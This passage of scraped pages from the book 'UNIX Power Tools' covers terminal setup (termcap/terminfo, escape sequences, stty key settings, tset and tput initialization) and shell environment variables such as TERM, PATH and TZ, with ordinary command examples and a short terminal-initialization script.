Previous: 5.6 Checklist: Terminal Hangs When I Log In Chapter 5
Setting Up Your Terminal 		Next: 5.8 Terminal Escape Sequences

5.7 What termcap and terminfo Do and Don't Control

One important point to realize about termcap and terminfo is that many programs do not use them at all, and that there are several other mechanisms that may also affect terminal operation.

The operation of the serial interface is controlled by several system files (/etc/ttys and /etc/gettytab on BSD and other non-AT&T systems, and /etc/inittab and /etc/gettydefs in System V). Users can affect serial-line parameters with the stty (5.9, 41.3, 41.2) command. In addition to normal communications parameters such as data rate, start and stop bits, parity, and so on, these parameters include such things as the translation of the carriage returns generated by most terminals into the linefeeds expected by most UNIX programs, division of input into lines, and definition of special control characters for erasing a character that has been typed, killing a line of typed input, and interrupting a running process.

One other area that termcap and terminfo do not control is terminal tab setting. This is done by the tabs command. For more information, see the manual pages on stty(4) and termio(7) (System V).

termcap and terminfo, by contrast, tend to control visual attributes of the terminal. The terminal capabilities defined for a terminal tell a screen-oriented program how big the screen is (for screen-by-screen paging and cursor movement), how to move to any point on the screen, how to refresh the screen, how to enter and exit any special display modes (such as inverse video, blinking, or underlining), and so on. [The screen size may be set in other ways, too. See article 42.5. -JP ]

But there is some overlap. For example, a terminal can be unusable because a program has left either the serial line modes or the terminal itself in an unexpected state. For this reason, terminal initialization (5.11), as performed by the tset and tput programs, initializes both the terminal and the serial line interface.

- TOR from O'Reilly & Associates' termcap & terminfo, Chapter 1

Previous: 5.6 Checklist: Terminal Hangs When I Log In | UNIX Power Tools | Next: 5.8 Terminal Escape Sequences
5.6 Checklist: Terminal Hangs When I Log In | Book Index | 5.8 Terminal Escape Sequences
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.8 Terminal Escape Sequences

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 5.7 What termcap and terminfo Do and Don't Control Chapter 5
Setting Up Your Terminal 		Next: 5.9 Setting Your Erase, Kill, and Interrupt Characters

5.8 Terminal Escape Sequences

Most terminals use special character strings called escape sequences to control their operation. These strings begin with the escape character (ASCII character 033) (51.3).

This character can be generated alone by the ESC key found on most keyboards, or by typing the left bracket character while holding down the CONTROL key (often shown as ^[). But it's also generated by many of the special keys on your keyboard. For example, an UP ARROW key might generate an escape sequence like ^[OA. When the terminal sees this sequence of characters, it knows to move the cursor up one line.

The special escape sequences used by your terminal are stored in the terminal's termcap or terminfo entry (41.11, 5.2), which allows programs to respond appropriately to all of the special keys on the keyboard. Programs themselves issue escape sequences to do such things as move around the screen, highlight text, and so on.

However, there are cases where it's useful to issue escape sequences manually - or in an alias or shell script that you write. For example, you can highlight your prompt (7.8) or write an alias to switch your terminal display to inverse video (41.9).

Most of our examples use escape sequences for the common DEC VT100 series of terminals (which are also recognized by almost all terminal emulation programs).

How do you find out what escape sequences your terminal uses? After all, it is quite hardware-specific. If you have a terminal manual, they should be listed there. Otherwise, you can look at the termcap or terminfo listing itself (5.10), and with the help of the manual page, or a book such as O'Reilly & Associates' termcap & terminfo, decipher the obscure language used there. Or, use a program like tcap or tput (41.10); it will find those sequences for you.

To actually type an escape sequence into a file, use your editor's "quote next character command" (CTRL-v in vi (31.6)) before pressing the ESC key. To use an escape character in an alias, try the technique shown in article 41.9.

Don't be confused if you see an escape sequence that looks like this:

^[[1m

Some terminals use a real left bracket at the start of their escape sequence; it will follow the escape character itself (represented as ^[). Even though they look the same on the screen, they are really different characters (CTRL-[ or ESC is different from [, just like CTRL-c is different from C).

- TOR

Previous: 5.7 What termcap and terminfo Do and Don't Control | UNIX Power Tools | Next: 5.9 Setting Your Erase, Kill, and Interrupt Characters
5.7 What termcap and terminfo Do and Don't Control | Book Index | 5.9 Setting Your Erase, Kill, and Interrupt Characters
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.9 Setting Your Erase, Kill, and Interrupt Characters

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 5.8 Terminal Escape Sequences Chapter 5
Setting Up Your Terminal 		Next: 5.10 Finding What Terminal Names You Can Use

5.9 Setting Your Erase, Kill, and Interrupt Characters

Have you ever sat down at a terminal where the "erase" key (the character that deletes the last thing you typed) wasn't where you thought it would be? If you have, you know how disorienting this can be! The stty (41.3) command gives you a way of changing the erase character (along with several others) so you can restore some order to your world.

stty takes two kinds of input. If you want to give the command interactively, type stty erase char, where char is the key you normally use for erase - BACKSPACE, DELETE, whatever - followed by RETURN. This will do the trick, provided that the character you type isn't already used for something. If the character is in use, or if you're putting stty commands into your .login or .profile file, it's better to "spell these characters out." "Control" characters in .login are allowed, but they aren't a great idea. If you like to use the BACKSPACE key as the erase key, add the line below:

stty erase ^h

If you want to use the DELETE key, quote the ? character so the shell won't treat it as a wildcard (1.16):

stty erase ^\?

That is: stty lets you represent a control key with the two-character combination ^x, where ^ is the literal key ^ (caret) and x is any single character. You may need to put a \ before the x to prevent the shell from interpreting it as a wildcard [and a \ before the ^ to prevent some Bourne shells from interpreting it as a pipe!-JP ].

Of course, you're not limited to the BACKSPACE or DELETE keys; you can choose any other key you want. If you want to use "Z" as your DELETE key, type stty erase\ Z. Just make sure you never want to type a real Z!

Table 5.1 lists functions that stty can change.

Table 5.1: Keys to Set with stty
Character | Function | Good Setting | See Article
erase | Erases the previous character. | ^\? (DELETE) | 5.9
kill | Erases the entire line. | ^u (CTRL-u) | 9.2
werase | Erases the previous word. | ^w (CTRL-w) | 9.2
intr | Terminates the current job. | ^c (CTRL-c) | 38.9
quit | Terminates the current job, makes a core file. | ^\\ (CTRL-\) | 38.9
susp | Stops the current job (so you can put it in the background). | ^z (CTRL-z) | 12.1
rprnt | Redisplays the current line. | ^r (CTRL-r) | 9.3

The command stty everything (for BSD UNIX) or stty -a (for System V) shows all your current terminal settings. The werase and rprnt characters aren't implemented on many System V versions.

As a historical note: the erase character was originally #, and the kill character was originally @. These assignments go back to the olden days (41.2), when terminals printed with real ink on real paper and made lots of noise. However, I'm told that there are some modern systems on which these settings are still the default.

NOTE: Terminal emulators, editors, and other programs can fool around with all of this stuff. They should be well-behaved and reset your terminal when you leave them, but that's often not true. So: don't expect your settings to work within a terminal emulator; they may, or they may not. And don't expect your settings to be correct after you exit from your terminal emulator. Again, they may, or they may not. The tset program also fools around (5.11) with key settings. Therefore, in your shell setup files (2.2), put stty after tset.

- ML

Previous: 5.8 Terminal Escape Sequences | UNIX Power Tools | Next: 5.10 Finding What Terminal Names You Can Use
5.8 Terminal Escape Sequences | Book Index | 5.10 Finding What Terminal Names You Can Use
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.10 Finding What Terminal Names You Can Use

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 5.9 Setting Your Erase, Kill, and Interrupt Characters Chapter 5
Setting Up Your Terminal 		Next: 5.11 Initializing the Terminal with tset

5.10 Finding What Terminal Names You Can Use

A program that wants to make use of the terminal capability database selects an entry according to the value of the TERM environment variable (6.1). This variable is typically set when a user logs in. A second variable, either TERMCAP (5.4) or TERMINFO, may also be set, if it is desirable to point to a terminal description that is not in the standard location.

It's easy enough to find out what terminal type the system thinks you are currently using. Simply type:

$ echo $TERM

If nothing is printed, TERM has not been set. (In the C shell, the message TERM: Undefined variable will be printed.)

It's also easy enough to set the terminal type. This is typically done when the user logs in but can be done from the command line as follows:

$ TERM=wy50; export TERM
% setenv TERM wy50

But what if you sit down at a strange terminal and want to set the terminal type? How do you know what terminal name to use as the value of TERM?

The terminal names to which TERM can legitimately be set can be determined by searching through /etc/termcap or by listing the names of files in the /usr/lib/terminfo directory hierarchy.

The termcap terminal database is stored in the single file /etc/termcap. It is an ASCII file: all the information it contains is readable, if not immediately comprehensible. Each entry consists of a list of names for the terminal, followed by a list of the terminal's capabilities.

The first line of each entry shows several different names, or aliases, for the terminal. At least one of the names will usually reflect the manufacturer's shorthand name for the terminal, but a long name is usually included as well, so you can simply search for the manufacturer's name to get started. For example, if you were using a Wyse Technologies Wyse-50, you could check to make sure that a terminal description for that terminal existed in the termcap database by typing:

% grep Wyse /etc/termcap
n9|wy50|Wyse Technology WY-50:\

One or more lines like the one shown in the preceding example should be printed (if any matching entries are found). Each line will show several names for the terminal, separated by vertical bars (|). The second name, wy50, is the one most commonly used as the value of TERM.

The compiled terminfo database is stored in a directory hierarchy under /usr/lib/terminfo. Each terminal entry is compiled (by a program called tic) and stored in a separate file. All terminals whose names begin with the letter "a" are stored in the directory /usr/lib/terminfo/a, and so on through the alphabet. [1] Links (18.3) are used so that the terminal description can be accessed with any one of several names. [The ls -R (16.4) command will list all the descriptions at once. A command like find -name '*xxx*' -print (17.4) will find descriptions with a certain brand or model xxx in the name. -JP ]

[1] The source is sometimes provided by some systems in /usr/lib/terminfo.ti. Entries can be decompiled or displayed with a program called infocmp.

So, on a system supporting terminfo, you would look for the entry with the ls command:

$ ls /usr/lib/terminfo/w
wy-50
wy100
wy50
wyse-50
wyse50

You should use the name of the appropriate file for the value of TERM.

If it is not obvious from the name of the file which entry to use, you can use the following command to print out the long name of the terminal:

$ tput -Tname longname

For example:

$ tput -Twy50 longname
Wyse Technologies Wy-50

You should be aware that for a terminal with configurable options (such as a terminal with an 80- or 132-column mode), there may be several termcap or terminfo entries. Until you know enough about the terminal database to compare the entries and find out how they differ, you will simply need to take your chances. Experiment with each of the entries and see which works best. Article 41.11 explains more about the format of termcap and terminfo entries. [If none of them seem to work, setting TERM to a name like dumb or unknown will give you a basic setup while you check other entries. The vi editor will use its open mode (30.36) and pagers like less (25.4) will complain a little, but you should be able to get by. -JP ]

- TOR from O'Reilly & Associates' termcap & terminfo, Chapter 2

Previous: 5.9 Setting Your Erase, Kill, and Interrupt Characters | UNIX Power Tools | Next: 5.11 Initializing the Terminal with tset
5.9 Setting Your Erase, Kill, and Interrupt Characters | Book Index | 5.11 Initializing the Terminal with tset
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.11 Initializing the Terminal with tset

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 5.10 Finding What Terminal Names You Can Use Chapter 5
Setting Up Your Terminal 		Next: 5.12 Initializing the Terminal with tput

5.11 Initializing the Terminal with tset

As you log in, especially if you're using a terminal that's shared with other users, it's a good idea to initialize your terminal (reset it to its default state). If your system has termcap, use tset (5.3). On systems with terminfo, use tput (5.12).

In fact, despite its role in terminal type setting, you might say that the "proper" function of tset is to initialize the terminal. It outputs an initialization string (if one is defined in the terminal's termcap entry), which should set the terminal to a reasonable state. In this role, it overlaps somewhat with stty (41.3, 5.9), setting the erase and kill characters to CTRL-h and CTRL-x. (Options allow the user to specify alternate values for these characters, as well as for the interrupt character.) When done, it prints the following message:

Erase is control-H
Kill is control-X

(or whatever else you have set these characters to). This message can be suppressed by adding the -Q (quiet) option.

A special form of the tset command, called reset, is found on some systems. In addition to tset's normal processing, it sets various stty modes to what it considers a "reasonable" state . (42.4, 42.2) It can thus be used to reset both the terminal and the serial line control parameters in cases where a bombing program or user bungling has left the terminal in an unusable state.

There are some cases in which normal end-of-line processing has been disabled, and the system will no longer perform the carriage return to linefeed translation UNIX requires to work with most terminals. In these cases, you may need to type:

[CTRL-j] reset [CTRL-j]

to get reset to work.

- TOR from O'Reilly & Associates' termcap & terminfo, Chapter 4

Previous: 5.10 Finding What Terminal Names You Can Use | UNIX Power Tools | Next: 5.12 Initializing the Terminal with tput
5.10 Finding What Terminal Names You Can Use | Book Index | 5.12 Initializing the Terminal with tput
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.12 Initializing the Terminal with tput

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 5.11 Initializing the Terminal with tset Chapter 5
Setting Up Your Terminal 		Next: 6. Shell and Environment Variables

5.12 Initializing the Terminal with tput

The tput program used with terminfo is somewhat equivalent to tset (5.3, 5.11), but does not have the ability that tset has to determine the terminal type. On the other hand, it allows you to pick out particular terminal capabilities and print out their values or store them into shell variables. [The tcap (41.10) program does the same kind of thing for termcap. -JP ] This allows shell programs to make use of terminal capabilities (41.10) such as inverse video or underlining.

By default, tput assumes that you are using the terminal type specified by the TERM (5.10) variable. If you want to override the value of TERM, you can specify another terminal type with the -T option. For example:

$ tput -Twy50 ...

In System V Release 3, tput has a keyword option that allows you to reset the terminal by outputting the initialization strings (there are several) from a terminfo description:

$ tput init

The command:

$ tput reset

issues the reset strings from the terminfo entry. If no reset strings are defined, the initialization strings are issued instead, and the command acts exactly like tput init.

In earlier releases of System V, these keywords are not supported, and you must issue multiple tput commands to output each of the initialization or reset strings by name.

The following shell program, contributed by Tony Hansen of AT&T, will do the trick:

-s

#!/bin/sh
# Evaluate and output the iprog capability
eval `tput iprog`
# output the is1 and is2 initialization strings
tput is1
tput is2

# if the terminal supports tabs, set them
# otherwise, disable them
if [ -n "`tput ht`" ]
then stty tabs; tabs -8
else stty -tabs
fi
# output contents of the initialization file, if present
cat -s "`tput if`"
# output the is3 initialization string
tput is3

See your system manuals, or O'Reilly & Associates' termcap & terminfo, for a description of the various initialization capabilities used in this script.

- TOR from O'Reilly & Associates' termcap & terminfo, Chapter 4

Previous: 5.11 Initializing the Terminal with tset | UNIX Power Tools | Next: 6. Shell and Environment Variables
5.11 Initializing the Terminal with tset | Book Index | 6. Shell and Environment Variables
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 6] Shell and Environment Variables

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 5.12 Initializing the Terminal with tput Chapter 6 Next: 6.2 Parent-Child Relationships

6. Shell and Environment Variables

Contents:
What Environment Variables Are Good For
Parent-Child Relationships
Predefined Environment Variables
The PATH Environment Variable
PATH and path
The TZ Environment Variable
What Time Is It in Japan?
Shell Variables
Special C Shell Variables
Running a Command with a Temporarily Different Environment

6.1 What Environment Variables Are Good For

Many UNIX utilities, including the shell, need information about you and what you're doing in order to do a reasonable job.

What kinds of information? Well, to start with, a lot of programs (particularly editors) need to know what kind of terminal you're using. The shell needs to know where any commands you want to use are likely to be found. Lots of UNIX programs (like mail programs) include a command to start an editor as a subprocess; they like to know your favorite editor. And so on.

Of course, one could always write programs that made you put all this information on the command line. For example, you might have to type commands like:

% mail -editor vi -term aardvark48 -favoritecolor blue_no_red

But your favorite editor probably doesn't change every day. (Nor will your favorite color.) The terminal you use may change frequently, but it certainly won't change from the time you log in until the time you log out. And you certainly wouldn't want to type something like this whenever you want to send mail.

Rather than forcing you to type this information with every command, UNIX uses environment variables to store information that you'd rather not worry about. For example, the TERM (5.10) environment variable tells programs what kind of terminal you're using. Any programs that care about your terminal type know (or ought to know) that they can read this variable, find out your terminal type, and act accordingly.

Similarly, the directories that store the commands you want to execute are listed in the PATH (6.4) variable. When you type a command, your shell looks through each directory in your PATH variable to find that command. Presumably, UNIX wouldn't need a PATH variable if all commands were located in the same directory; but you'll soon be writing your own commands (if you aren't already), and storing them in your own "private" command directories (4.2), and you'll need to tell the shell how to find them (8.7).

Warning! Environment variables are managed by your shell. The difference between environment variables and regular shell variables (6.8) is that a shell variable is local to a particular instance of the shell (such as a shell script), while environment variables are "inherited" by any program you start, including another shell (38.4). That is, the new process gets its own copy of these variables, which it can read, modify, and pass on in turn to its own children. In fact, every UNIX process (not just the shell) passes its environment variables to its child processes.

You can set environment variables with a command like this:

;
% setenv NAME value   C shell
$ NAME=value; export NAME   Bourne or Korn shell

There's nothing particularly special about the NAME; you can create environment variables with any names you want. Of course, these don't necessarily do anything for you; variables like PATH and TERM are important because lots of programs have "agreed" (6.3) that these names are important. But if you want to create an environment variable that holds the name of your lover, that's your business:

% setenv LOVER Judy

If you're so inclined, you could write a program called valentine that reads the LOVER environment variable and generates an appropriate message. If you like short-term relationships or tend to forget names, this might even be convenient!

By convention, the names of environment variables use all uppercase letters. There's nothing to enforce this convention - if you're making your own names, you can use any capitalization you please. But there's no advantage to violating the convention, either. The environment variables that are used by standard UNIX programs all have uppercase names. [I usually make my shell variable names lowercase so it's easy to tell the difference. -JP ]

If you want the C shell to forget that an environment variable ever existed, use the command unsetenv NAME. (Some Bourne shells, but not all, have a similar command: unset NAME.)

printenv
env
 If you want to list all of your environment variables, use printenv or env. (Both are on the CD-ROM.) The printenv command also lets you ask about a particular variable. Here's a typical report:

% printenv EDITOR
EDITOR=/usr/local/bin/emacs
% printenv
HOME=/home/los/mikel
SHELL=/bin/csh
TERM=sun
USER=mikel
PATH=/usr/local/bin:/usr/ucb:/bin:/usr/bin:.:/home/los/mikel/bin
LOGNAME=mikel

PWD=/home/los/mikel/power/articles
PRINTER=ps
EDITOR=/usr/local/bin/emacs

The set (6.8) command provides a similar listing of shell variables.

You can also use the echo (8.6) command to show the value of a particular variable, preceding the variable name with a dollar sign (which tells the shell to substitute the value of the variable):

% echo $TERM
xterm

- ML

Previous: 5.12 Initializing the Terminal with tput | UNIX Power Tools | Next: 6.2 Parent-Child Relationships
5.12 Initializing the Terminal with tput | Book Index | 6.2 Parent-Child Relationships
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 6] 6.2 Parent-Child Relationships

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 6.1 What Environment Variables Are Good For Chapter 6
Shell and Environment Variables 		Next: 6.3 Predefined Environment Variables

6.2 Parent-Child Relationships

No, this is not about the pop psychology of computing. It's just a quick reminder of one important point.

In the environment variable overview (6.1) we said that each process gets its own copy of its parent's environment variables. We chose those words carefully, and if you think about them, you won't make one common mistake.

Sooner or later, almost everyone writes a shell script that gathers some information, sets a few environment variables, and quits. The writer then wonders why there's no trace of the "new" environment variables to be found. The problem is simple. A UNIX process (38.3) cannot change its parent's environment; a UNIX process gets its own copy of the parent's environment, and any changes it makes it keeps to itself. A process can make changes and pass them to its children, but there's no way of going in reverse.

(You can't teach an old dog new tricks.)

- ML

Previous: 6.1 What Environment Variables Are Good For | UNIX Power Tools | Next: 6.3 Predefined Environment Variables
6.1 What Environment Variables Are Good For | Book Index | 6.3 Predefined Environment Variables
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 6] 6.3 Predefined Environment Variables

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 6.2 Parent-Child Relationships Chapter 6
Shell and Environment Variables 		Next: 6.4 The PATH Environment Variable

6.3 Predefined Environment Variables

We've said that environment variables are used to store information that you'd rather not worry about, and that there are a number of standard environment variables that many UNIX programs use. These are often called "predefined" environment variables - not because their values are predefined, but because their names and uses are predefined. Here are the most important ones:

  • PATH (6.4) contains your command search path (8.7). This is a list of directories in which the shell looks to find commands. It's usually set in one of your shell setup files (2.2).

  • EDITOR can be loaded with the name of your favorite editor. It's usually set in one of your shell setup files. Some programs distinguish between EDITOR (usually set to a line editor (33.1) such as ed) and VISUAL (set to a full-screen editor like vi). Many people don't follow that convention; they set both to the same editor. (The Korn shell checks VISUAL and EDITOR, in that order, to determine your command editing mode (11.13).)

  • PRINTER (43.4) can be loaded with the name of your default printer. It's quite useful at a site with many printers - you don't need to tell lpr (43.2) which printer to use. This variable is usually set in one of your shell setup files.

  • PWD contains the absolute pathname of your current directory. It's set automatically by the cd command in some UNIX shells. PWD may be fooled (14.13) by cding through symbolic links.

  • HOME (14.11) (called LOGDIR on some systems) contains the absolute pathname of your home directory. It's set automatically when you log in.

  • SHELL contains the absolute pathname of your login shell. It's set automatically whenever you log in.

  • USER or LOGNAME contains your username. It's set automatically when you log in, and doesn't change.

  • TERM (5.10) contains the name of your terminal type in the termcap or terminfo database. It's usually set in a shell setup file.

  • TERMCAP (5.4) can be loaded with the complete termcap database entry for the terminal you are using. This may make some programs start up more quickly, but it's not necessary. It's set (under some conditions) by the tset command, which is usually run in your shell setup file.

  • ENV contains the name of an initialization file to be executed whenever a new Korn shell is started. (See article 2.2.) Korn shell only.

  • PAGER can be set to the name of your favorite page-by-page screen display program like more (25.3) or less (25.4). (Programs like man (50.1) use PAGER to determine which paging program to use if their output is longer than a single screen.)

  • EXINIT (30.35, 6.10) stores setup options for the vi editor (and the ex editor, where EXINIT got its name).

  • PS1 contains the primary prompt (i.e., interactive command prompt) for Bourne shells. (The C shell doesn't store the prompt in an environment variable. It uses a shell variable called prompt because the .cshrc file (2.2) is read to set up each instance of the shell. See article 7.2.)

  • PS2 (9.13) contains the secondary prompt (used within compound commands like while and for) for Bourne shells.

  • MANPATH (50.10), if your man (50.1) command supports it, is a colon-separated list of directories to search for manual pages.

  • TZ (6.6) contains the time zone. This is a name of a file in /usr/lib/zoneinfo that provides time zone information for your locality. It is read by commands like date (51.10, 6.7).

  • DISPLAY is used by the X Window System (1.31) to identify the display server (keyboard and screen handling program) that will be used for input and output by X applications.

Because Bourne-type shells don't make as strict a distinction between environment variables and shell variables as the C shell does, we've included a few things here that might not be on other people's lists.

We may have implied that environment variables are relatively constant (like your favorite editor). That's not true. For example, in a windowing environment, the current length of your window might be kept in an environment variable. That can change as often as you resize your window. What is true (fortunately) is exactly what we've said: environment variables store information that you'd rather not have to worry about.

- ML

Previous: 6.2 Parent-Child Relationships | UNIX Power Tools | Next: 6.4 The PATH Environment Variable
6.2 Parent-Child Relationships | Book Index | 6.4 The PATH Environment Variable
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 6] 6.4 The PATH Environment Variable

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 6.3 Predefined Environment Variables Chapter 6
Shell and Environment Variables 		Next: 6.5 PATH and path

6.4 The PATH Environment Variable

Of all the environment variables, the PATH and TERM (5.10) variables are the most important. The others are often great conveniences; but PATH and TERM can make your life miserable if they get screwed up.

The PATH variable is just a list of directories separated by colon (:) characters. The shell searches through these directories in order whenever it needs to find a command. So, if you want to execute commands in /bin, /usr/bin, /usr/local, the current directory, and your personal bin directory, you would put a line like the one below in your .login file. An empty entry (: as the first or last character, or :: in the middle) means "the current directory."

$HOME/bin
setenv PATH /bin:/usr/bin:/usr/local::$HOME/bin

Article 8.7 explains more about setting the path.

The most common problem with PATH is that, somehow, it gets deleted. This usually happens if you try to change PATH and do so incorrectly. When PATH is deleted, your shell can only find its built-in commands (1.10) and commands for which you give the complete pathname. Here's a demonstration:

% setenv PATH   Set PATH to null accidentally
% ls
ls: Command not found.

Needless to say, this can be very frustrating - especially if you can't figure out what's going on. There are a couple of easy fixes. The easiest is just to log out and log back in again. (logout is a built-in C shell command, so you won't have trouble finding it. If you get an error message like "Not login shell," try exit instead.) Another fix is to read (44.23) whichever initialization file defined your PATH variable, usually .login for C shell users or .profile for Bourne shell users:

% source ~/.login
$ . $HOME/.profile

This will almost certainly give you some of your path back; the problem is that a lot of initialization files merely add a few "private" directories to a system-wide default path. In this case, just execute the system-wide initialization files first (if your system has them). Their pathnames vary:

% source /usr/lib/Cshrc
% source /usr/lib/Login
% source ~/.login

The other common PATH problem is that users sometimes can't find the commands they want. This happens most often when someone writes a new shell script with the same name as a standard UNIX command - say, true. He or she tries to execute it and can't; in fact, all that happens is:

% true
%

After staring at the script for a long time, the user sometimes gets the right idea: the script is fine, it's the path that's wrong. The PATH variable will look something like this:

% printenv PATH
/bin:/usr/local:/usr/ucb:/usr/bin::/home/mkl/bin

The shell searches the PATH in order; therefore, it finds the system's standard true command before seeing the new one. The new command never gets a chance. You could fix this problem by putting the current directory and $HOME/bin at the head of the search path, in which case, commands in the current directory and your private bin directory will override the standard commands. However, that's not recommended; it's a well-known security hole.

So what is recommended? Nothing much, except: if you write shell scripts or other programs, give them names that are different from the standard UNIX utilities (44.21). If you really need an overlapping name, you can use a relative pathname (1.21) to specify "the program called true in the current directory":

% ./true

Here are some related articles. You can search your PATH for a command with which (50.8), findcmd (16.10), and whereiz (4.10). Article 6.5 explains the C shell's path variable.

- ML

Previous: 6.3 Predefined Environment Variables | UNIX Power Tools | Next: 6.5 PATH and path
6.3 Predefined Environment Variables | Book Index | 6.5 PATH and path
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 6] 6.5 PATH and path

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 6.4 The PATH Environment Variable Chapter 6
Shell and Environment Variables 		Next: 6.6 The TZ Environment Variable

6.5 PATH and path

For the C shell, it's slightly incorrect to say that PATH contains the search list for commands. It's a bit more complicated. The PATH environment variable is used to set the path shell variable; that is, whenever you setenv PATH (6.4), the C shell modifies path accordingly. For example:

setenv PATH /bin:/usr/bin:/usr/local::$HOME/bin

In PATH, an empty entry (::) stands for the current directory. The C shell's path shell variable (6.8, 6.9) is the actual search list. Its syntax is slightly different; the list of directories is enclosed in parentheses (47.5), and the directories are separated by spaces. For example:

~
set path=(/bin /usr/bin /usr/local . ~/bin)

If you set the path shell variable, the C shell will automatically set the PATH environment variable. You don't need to set both. Many people use a set path command instead of setenv PATH.

- ML

Previous: 6.4 The PATH Environment Variable | UNIX Power Tools | Next: 6.6 The TZ Environment Variable
6.4 The PATH Environment Variable | Book Index | 6.6 The TZ Environment Variable
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 6] 6.6 The TZ Environment Variable

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 6.5 PATH and path Chapter 6
Shell and Environment Variables 		Next: 6.7 What Time Is It in Japan?

6.6 The TZ Environment Variable

The TZ environment variable is a little obscure, but it can be very useful. It tells UNIX what time zone you're in. The default time zone was set when your system was first installed (and we'll assume it was done correctly). However, there are lots of times when you want to change your time zone temporarily. For example, you might be connected via a communications program to a UNIX system in another time zone; its notion of the correct time is right for its location, but not for your location. Or you may move your system to another location; you need to change the time zone, but you don't want to reinstall the software (which can be painful). Article 6.7 shows how to use TZ to check the time in another zone.

To set TZ, give a command like:

% setenv TZ timezone                      C shell

$ TZ=timezone; export TZ                  Bourne shell

This setting takes effect immediately; if you give the date (51.10) command, you'll see the current time in your new zone.

The time zones are, basically, files in the directory /usr/lib/zoneinfo or its subdirectories. You'll have to look through there to see what's available - but a lot is available, including all the time zones in the United States, Canada, Australia, most of Europe, and a lot of Asia, Africa, and South America. A lot of "oddball" time zones are included: for example, the state of Indiana, large parts of which don't observe Daylight Savings Time, and Michigan, for reasons that are completely unclear to me.

So, let's say you want to set the current time so that it's correct in Wyoming. You look in /usr/lib/zoneinfo and see a directory named US. You then look in the US directory, and see a file named Mountain. So your time zone setting is US/Mountain:

% setenv TZ US/Mountain
% date
Wed Mar  6 19:34:53 MST 1996

You don't have to worry about the difference between daylight and standard time, or the fact that Daylight Savings Time rules aren't the same everywhere. That information is all encoded in the zonefiles database.

- ML

Previous: 6.5 PATH and path | UNIX Power Tools | Next: 6.7 What Time Is It in Japan?
6.5 PATH and path | Book Index | 6.7 What Time Is It in Japan?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 6] 6.7 What Time Is It in Japan?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 6.6 The TZ Environment Variable Chapter 6
Shell and Environment Variables 		Next: 6.8 Shell Variables

6.7 What Time Is It in Japan?

tm
The TZ (6.6) environment variable has some convenient uses, particularly if you do business with people scattered all over the globe. Let's say you want to call your trading partner in Japan to find out how the stock exchange is doing. But you want to know, first, whether or not the market has opened (or whether your partner is even awake!). You can use a shell script called tm that does this for you. Or you can (quickly) set TZ to "Japan," print the date, and reset TZ. Here are examples - including resetting TZ temporarily (6.10) in the Bourne and C shells:

( ) ;

% date
Tue Mar  4 20:48:58 EST 1997
% tm Japan
Wed Mar  5 10:48:07 JST 1997

%(setenv TZ Japan; date)
Wed Mar  5 10:48:13 JST 1997
$ TZ=Japan date
Wed Mar  5 10:48:22 JST 1997

It's 10 A.M. over there; should be a good time to call. Of course, the argument to TZ has to be one of the time zone files in /usr/lib/zoneinfo. One "gotcha": all the "useful" files in this directory begin with uppercase letters. If you set TZ to "japan," you'll get the Greenwich mean time - which is only about nine hours off! The tm script solves this by complaining if it can't find the timezone file.

Another problem you may have is figuring out just what time zone is right for some parts of the world. For example, unless you know your geography fairly well, you might have trouble figuring out that the appropriate TZ setting for Sydney, Australia is Australia/NSW (New South Wales), while Perth is Australia/West. On some systems, though, the timezone files include major cities. If you run tm with no time zone, it will list the time zone names.

- ML, JP

Previous: 6.6 The TZ Environment Variable | UNIX Power Tools | Next: 6.8 Shell Variables
6.6 The TZ Environment Variable | Book Index | 6.8 Shell Variables
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 6] 6.8 Shell Variables

UNIX Power Tools

UNIX Power ToolsSearch this book
